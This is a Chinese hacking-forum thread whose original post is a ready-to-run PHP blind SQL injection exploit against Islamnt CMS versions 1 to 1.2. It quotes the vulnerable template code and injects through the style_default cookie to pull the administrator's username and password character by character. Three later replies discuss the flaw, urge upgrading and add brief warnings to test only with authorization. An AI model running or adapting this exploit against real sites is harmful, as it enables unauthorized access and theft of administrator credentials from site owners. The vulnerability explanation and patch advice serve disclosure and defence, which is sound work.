查看: 14368|回复: 3

Islamnt < =远程SQL盲注利用

[复制链接]
发表于 2012-8-6 14:02:53 | 显示全部楼层 |阅读模式
[code=PHP]<?php
/*
  ---------------------------------------------------------------
  Islamnt <=  Remote Blind SQL Injection Exploit by s3n4t00r
  ---------------------------------------------------------------
  Author...............: s3n4t00r
  affected versions....: from 1 to 1.2
  Gr34ts 4.............: Exp-Bl00d

  [-] Vulnerable code in class/class.template.php:

        public function get_template ($val)
        {
                 $q = new ib_query();
                   global $style_default;
                 $style_def = ib_setting('style_site');
                 $sel_temp = $q->Query("select $val from styles where id_style='$style_default'"); <-- #   here
                 $row_temp = $q->FetchO($sel_temp);
                 $this->temp = $row_temp->$val;
                 $this->temp = stripslashes($this->temp);

        }
*/

print "\n+------------------------------------------------------------+";
print "\n| Islamnt <=  Remote Blind SQL Injection Exploit by s3n4t00r |";
print "\n+------------------------------------------------------------+\n";

if (!extension_loaded('curl')) die("cURL extension required\n");
error_reporting(E_ERROR);
set_time_limit(0);

function get($url,$inj)
{

                        $curl =        curl_init();
                        curl_setopt($curl,CURLOPT_RETURNTRANSFER,1);
                        curl_setopt($curl,CURLOPT_CONNECTTIMEOUT,3);
                        curl_setopt($curl,CURLOPT_URL,$url);
            curl_setopt($curl, CURLOPT_COOKIE, "style_default=1$inj");
            curl_setopt($curl, CURLOPT_HEADER, 1);
            curl_setopt($curl, CURLOPT_VERBOSE, 0);
                        $calis = curl_exec($curl);
                        @curl_close($calis);
            return $calis;

}

function chek_get($connect)
{

         if(eregi("<option value=''></option>",$connect))
          {
            return true;
          }
          else
          {
            return false;
          }
}

if ($argc < 2)
{
            print "\nUsage......: php $argv[0] <url>\n";
            print "\nExample....: php $argv[0] http://localhost/mytickets/";
            print "\nExample....: php $argv[0] http://localhost/mytickets/\n";
            die();
}

$sql_f = chek_get(get($argv[1],"' and 1='2 /*"));
$sql_t = chek_get(get($argv[1],"' and 1='1 /*"));

if($sql_t == $sql_f)
{
          print "\n\t sorry: magic_quotes_gpc = On ): \n";
          die();
}

print "\n\t[+] Getting Admin Username and Password\n\n\t";

for ($g = 1; $g <= 40; $g++) {  //eidt
for ($i = 46; $i <= 122; $i++) {

       $inject = chek_get(get($argv[1],"'+AnD+ascii(MiD((sElect+concat_ws(0x3a,user_user,pass_user)+frOm+users+liMit 0,1),".$g.",1))='".$i."/*"));

       if($inject == $sql_t){print  chr($i);}
}
}

?>[/code]
回复

使用道具 举报

发表于 2026-5-22 15:00:00 | 显示全部楼层

Re: Islamnt < =远程SQL盲注利用

这个漏洞挺典型的,老版本 CMS 常见的 SQL 注入点,配合 cookie 进行盲注。感谢分享漏洞细节和利用代码,给还在用旧版 Islamnt 的管理员提了个醒,建议尽快升级到最新版本或打补丁。另外如果服务器开了 magic_quotes_gpc,这个 exp 会失效,也算是一层薄弱的防御。
回复 支持 反对

使用道具 举报

发表于 2026-6-19 09:00:00 | 显示全部楼层

Re: Islamnt < =远程SQL盲注利用

感谢“上帝是只猪”分享这个漏洞分析和利用工具。漏洞定位在 `class.template.php` 的 `get_template` 函数中,变量 `$style_def` 未经过滤直接拼接进SQL查询,确实典型。利用代码逻辑清晰,用盲注方式通过cookie注入获取管理员密码,还做了magic_quotes_gpc检测,考虑得挺周全。 不过提醒一下,这种公开的exploit脚本最好先在本地或授权环境下测试,别直接往线上服务器扔。另外,如果目标启用了 `magic_quotes_gpc`(虽然PHP 5.4以后已经移除),脚本会退出,但在老版本上依然有效。建议也注意一下 `curl_setopt` 中的 `CURLOPT_CONNECTTIMEOUT` 设置较短,如果目标响应慢可能误判。 总体很有价值,感谢分享!
回复 支持 反对

使用道具 举报

发表于 2026-6-19 11:25:00 | 显示全部楼层

Re: Islamnt < =远程SQL盲注利用

感谢楼主分享这个漏洞详情,代码分析得很清楚,问题出在 `class.template.php` 的 `get_template` 函数中直接拼接用户可控的 `$val` 到 SQL 查询,导致盲注风险。1.0 到 1.2 版本的用户建议尽快升级或手动过滤输入参数。另外,利用脚本里也提到了 `magic_quotes_gpc` 的状态会影响成功率,实际测试时要注意环境配置。提醒一下,请仅用于授权测试或了解漏洞原理,不要用于非法攻击。
回复 支持 反对

使用道具 举报

您需要登录后才可以回帖 登录 | 注册

本版积分规则

指导单位

江苏省公安厅

江苏省通信管理局

浙江省台州刑侦支队

DEFCON GROUP 86025

Hacking Group 021A

旗下站点

态势感知中心

应急响应中心

红盟安全

联系我们

官方QQ群:112851260

官方邮箱:security#ihonker.org(#改成@)

官方核心成员

关注微信公众号

Archiver|手机版|小黑屋| ( 沪ICP备2021026908号 )

GMT+8, 2026-8-27 14:49 , Processed in 0.021761 second(s), 18 queries , Gzip On, Redis On.

Powered by ihonker.com

Copyright © 2015-现在.

  • 返回顶部